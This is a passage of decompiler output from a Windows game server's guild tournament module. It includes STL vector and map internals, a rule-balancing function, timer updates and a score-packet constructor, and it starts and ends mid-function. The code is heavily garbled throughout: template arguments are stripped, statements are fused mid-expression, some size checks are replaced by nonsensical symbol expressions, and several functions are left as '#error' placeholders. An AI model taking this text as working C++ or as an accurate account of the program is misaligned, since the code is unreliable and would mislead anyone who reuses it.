= this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004594D0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // edi@1 TOURNAMENT_PLAYER_SCORE *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00459540) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( this, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= (unsigned int)&wholesaver.ws_savestore[866].esc_skill.buffer[21895] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(this, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 68) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 68) = 1; *(_BYTE *)(v14 + 68) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 68) = 0; v11 = *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 68) = 1; *result = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004597B0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::operator_((int)i, (int)_Val); } //----- (00459810) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (004598A0) -------------------------------------------------------- #error "4598A0: undefined or illegal type '#331' (funcsize=41)" //----- (00459910) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // edi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned __int16 v4; // bp@2 bool v5; // bl@2 int v6; // edx@5 int v7; // eax@5 int i; // esi@7 int v9; // eax@8 void *v10; // eax@10 int v11; // edx@13 int v12; // eax@14 GuildTournamentSystem::GuildGroup::Advantage val; // [sp+Ch] [bp-8h]@17 v1 = this; v2 = this->m_GroupB.m_unAllGuildScore; v3 = v1->m_GroupA.m_unAllGuildScore; if ( v3 >= v2 ) { v4 = v3 - v2; v5 = 0; } else { v4 = v2 - v3; v5 = 1; } if ( v4 ) { v6 = ITableBase::ms_pkTable; v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( v7 ) { if ( *(_DWORD *)(v7 + 40) ) { for ( i = 0; ; ++i ) { v9 = *(_DWORD *)(v6 + 52); if ( !v9 ) break; if ( (unsigned int)i >= *(_DWORD *)(v9 + 40) ) break; v10 = CDataReader::GetRecord((CDataReader *)(v6 + 4), i); if ( !v10 ) return; if ( v4 < *(_WORD *)((char *)v10 + 1) ) goto LABEL_17; v6 = ITableBase::ms_pkTable; } v11 = *(_DWORD *)(v6 + 52); if ( v11 ) v12 = *(_DWORD *)(v11 + 40); else v12 = 0; i = v12 - 1; LABEL_17: val.m_nLevel = i; val.m_IsAdvan = v5; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupA, &val); val.m_IsAdvan = v5 == 0; val.m_nLevel = i; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupB, &val); } } } } // C88F940: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (004599D0) -------------------------------------------------------- #error "4599D0: undefined or illegal type '#331' (funcsize=62)" //----- (00459A90) -------------------------------------------------------- #error "459A90: undefined or illegal type '#331' (funcsize=9)" //----- (00459AB0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime) { GuildTournamentSystem::GuildGroup *v2; // ebx@1 TickTimer *v3; // esi@1 unsigned int v4; // edi@3 int v5; // esi@3 int i; // ebp@3 int v7; // eax@4 int v8; // ebx@6 int v9; // ebx@9 GuildTournamentSystem::GuildGroup *v10; // [sp+10h] [bp-4h]@1 v2 = this; v3 = &this->m_LastGuildMasterReviveTime; v10 = this; if ( TickTimer::CheckUpdateEvent(&this->m_LastGuildMasterReviveTime, nTickDeltaTime) ) { TickTimer::Enable(v3, 0); GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(v2); } v4 = 0; v5 = (int)&v2->m_vecGuildBuffUseTime; for ( i = 0; ; i += 12 ) { v7 = *(_DWORD *)(v5 + 4); if ( !v7 ) break; if ( v4 >= (*(_DWORD *)(v5 + 8) - v7) / 12 ) break; v8 = *(_DWORD *)(v5 + 4); if ( !v8 || (*(_DWORD *)(v5 + 8) - v8) / 12 <= v4 ) LABEL_13: std::vector>::_Xran((std::vector > *)v5); if ( TickTimer::CheckUpdateEvent((TickTimer *)(v8 + i), nTickDeltaTime) ) { v9 = *(_DWORD *)(v5 + 4); if ( !v9 || (*(_DWORD *)(v5 + 8) - v9) / 12 <= v4 ) goto LABEL_13; TickTimer::Enable((TickTimer *)(v9 + i), 0); } v2 = v10; ++v4; } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagMultiplelTime, nTickDeltaTime) ) { GuildTournamentSystem::GuildGroup::SetFlagMultiple(v2, 1); TickTimer::Enable(&v2->m_FlagMultiplelTime, 0); } } //----- (00459BB0) -------------------------------------------------------- #error "459BB0: undefined or illegal type '#331' (funcsize=42)" //----- (00459C60) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup) { this->m_vecPlayerScores._Myfirst = 0; this->m_vecPlayerScores._Mylast = 0; this->m_vecPlayerScores._Myend = 0; this->m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)this; *(_DWORD *)&this->buffer[1] = pGroup->m_GuildNumber; this->m_pPacket->unAllScore = pGroup->m_unAllGuildScore; this->m_pPacket->unCaptureFlagCount = pGroup->m_nCaptureFlagCount; this->m_pPacket->unPlayerNum = 0; this->m_pPacket->PartMask = 0; } //----- (00459CA0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val) { unsigned __int16 *v2; // esi@1 signed int v3; // edx@2 unsigned __int16 *v4; // eax@6 v2 = this->_Myfirst; if ( v2 ) v3 = this->_Mylast - v2; else v3 = 0; if ( v2 && v3 < this->_Myend - v2 ) { v4 = this->_Mylast; *v4 = *_Val; this->_Mylast = v4 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u, _Val); } } //----- (00459CF0) -------------------------------------------------------- int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval) { std::_Tree,std::allocator >,0> >::iterator v2; // edx@1 std::_Tree,std::allocator >,0> >::iterator v3; // eax@1 int *result; // eax@8 std::pair _Val; // [sp+Ch] [bp-8h]@8 v2 = (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead; v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v2 + 4); while ( !*(_BYTE *)(*(_DWORD *)&v3 + 21) ) { if ( *(_DWORD *)(*(_DWORD *)&v3 + 12) >= *_Keyval ) { v2 = v3; v3 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v3; } else { v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v3 + 8); } } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v2 != this->baseclass_0._Myhead && *_Keyval >= *(_DWORD *)(*(_DWORD *)&v2 + 12) ) { result = (int *)(*(_DWORD *)&v2 + 16); } else { _Val.first = *_Keyval; _Val.second = 0; result = (int *)(*(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( &this->baseclass_0, (std::_Tree,std::allocator >,0> >::iterator *)&_Keyval, v2, &_Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] + 16); } return result; } //----- (00459D70) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val) { std::vector > *v2; // esi@1 TickTimer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TickTimer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00459DF0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v2; // esi@1 TOURNAMENT_PLAYER_SCORE *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TOURNAMENT_PLAYER_SCORE *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00459E80) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #748 **v1; // esi@1 signed int v2; // edx@2 #748 **v3; // eax@6 #748 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } // 459E80: inconsistent function type and number of purged bytes //----- (00459ED0) -------------------------------------------------------- GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00459F00) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00459F50) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00459F80) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { int v3; // ebp@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v4; // ebx@1 char v5; // al@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v6; // edi@1 unsigned int i; // ecx@2 unsigned int v8; // ebx@4 const char *v9; // eax@5 unsigned int v10; // edx@7 int v11; // ecx@10 const char *v12; // esi@13 int v13; // eax@15 bool v14; // sf@15 unsigned __int8 v15; // of@15 signed int v16; // eax@17 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *_Wherenode; // [sp+20h] [bp-4h]@4 v3 = *(_DWORD *)(*((_DWORD *)this + 1) + 4); v4 = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)*((_DWORD *)this + 1); v5 = 1; v6 = _Val; thisa = this; _Addleft = 1; if ( !*(_BYTE *)(v3 + 69) ) { for ( i = _Val->first._Mysize; ; i = _Val->first._Mysize ) { v8 = *(_DWORD *)(v3 + 32); _Wherenode = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)v3; if ( *(_DWORD *)(v3 + 36) < 0x10u ) v9 = (const char *)(v3 + 16); else v9 = *(const char **)(v3 + 16); v10 = _Val->first._Mysize; if ( i < _Val->first._Mysize ) v10 = i; if ( !v10 ) goto LABEL_37; v11 = v10; if ( v10 >= v8 ) v11 = *(_DWORD *)(v3 + 32); v12 = (const char *)(v6->first._Myres < 0x10 ? &v6->first._Bx : *(_DWORD *)&v6->first._Bx._Buf[0]); v13 = strncmp(v12, v9, v11); v15 = 0; v14 = v13 < 0; v6 = _Val; if ( !v13 ) { LABEL_37: if ( v10 >= v8 ) v16 = v10 != v8; else v16 = -1; v15 = 0; v14 = v16 < 0; } v5 = v14 ^ v15; _Addleft = v14 ^ v15; v3 = v14 ^ v15 ? *(_DWORD *)v3 : *(_DWORD *)(v3 + 8); if ( *(_BYTE *)(v3 + 69) ) break; } v4 = _Wherenode; this = thisa; } v17 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> ***)this + 1) ) { v18 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v18; result->second = 1; return v19; } std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst._Myres < 0x10 ) v20 = (const char *)&v6->first._Bx; else v20 = *(const char **)&v6->first._Bx._Buf[0]; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)(v17 + 12), 0, *(_DWORD *)(v17 + 32), v20, v6->first._Mysize) >= 0 ) { v19 = result; result->first = v17; result->second = 0; } else { v21 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( thisa, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v21; result->second = 1; } return v19; } //----- (0045A100) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::Gate::_Gate(i); } //----- (0045A130) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::Gate *v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 unsigned int v8; // edi@4 int v9; // ecx@10 int v10; // eax@14 int v11; // ecx@17 int v12; // eax@21 void *v13; // ebx@24 GuildTournamentSystem::Gate *v14; // ST18_4@24 GuildTournamentSystem::Gate *v15; // ST20_4@24 GuildTournamentSystem::Gate *v16; // ecx@24 int v17; // eax@25 int v18; // edi@27 GuildTournamentSystem::Gate *v19; // eax@30 int v20; // ecx@30 unsigned int v21; // ST28_4@31 GuildTournamentSystem::Gate *v22; // ST24_4@31 unsigned int v23; // edi@31 GuildTournamentSystem::Gate *v24; // edi@32 int v25; // [sp+0h] [bp-6Ch]@1 std::vector > *thisa; // [sp+Ch] [bp-60h]@1 void *_Newvec; // [sp+10h] [bp-5Ch]@24 GuildTournamentSystem::Gate *_Ptr; // [sp+14h] [bp-58h]@24 char _Tmp; // [sp+18h] [bp-54h]@1 void *v30; // [sp+24h] [bp-48h]@36 unsigned int v31; // [sp+38h] [bp-34h]@35 void *p; // [sp+40h] [bp-2Ch]@34 int v33; // [sp+50h] [bp-1Ch]@35 unsigned int v34; // [sp+54h] [bp-18h]@33 unsigned int cookie; // [sp+58h] [bp-14h]@37 int *v36; // [sp+5Ch] [bp-10h]@1 int v37; // [sp+68h] [bp-4h]@1 int _Counta; // [sp+78h] [bp+Ch]@24 v4 = this; v36 = &v25; thisa = this; GuildTournamentSystem::Gate::Gate((GuildTournamentSystem::Gate *)&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v37 = 0; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v6 = v4->_Mylast - v5; if ( (unsigned int)&wholesaver.ws_savestore[745].esc_skill.buffer[-v6 + 10371] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v7 >= _Count + v9 ) { v19 = v4->_Mylast; v20 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6; _Newvec = v4->_Mylast; if ( v20 >= _Count ) { v24 = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Copy_backward_opt( *(GuildTournamentSystem::Gate **)&_Where, v24, (GuildTournamentSystem::Gate *)_Newvec, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)(*(_DWORD *)&_Where + (_Count << 6)), (GuildTournamentSystem::Gate *)&_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v19, (GuildTournamentSystem::Gate *)(*(_DWORD *)&_Where + (_Count << 6)), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6); v22 = v4->_Mylast; LOBYTE(v37) = 3; std::vector>::_Ufill( v4, v22, v21, (GuildTournamentSystem::Gate *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::Gate *)v23; v37 = 0; std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)(v23 - (_Count << 6)), (GuildTournamentSystem::Gate *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[745].esc_skill.buffer[-((unsigned int)v7 >> 1) + 10371] >= v7 ) v10 = ((unsigned int)v7 >> 1) + v7; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = v10 << 6; v13 = operator new(v10 << 6); v14 = v4->_Myfirst; _Newvec = v13; _Ptr = (GuildTournamentSystem::Gate *)v13; LOBYTE(v37) = 1; _Ptr = std::_Uninit_copy>( v14, *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (GuildTournamentSystem::Gate *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v15, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) { std::vector>::_Destroy( v4, v16, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::Gate *)((char *)v13 + _Counta); v4->_Mylast = (GuildTournamentSystem::Gate *)((char *)v13 + 64 * v18); v4->_Myfirst = 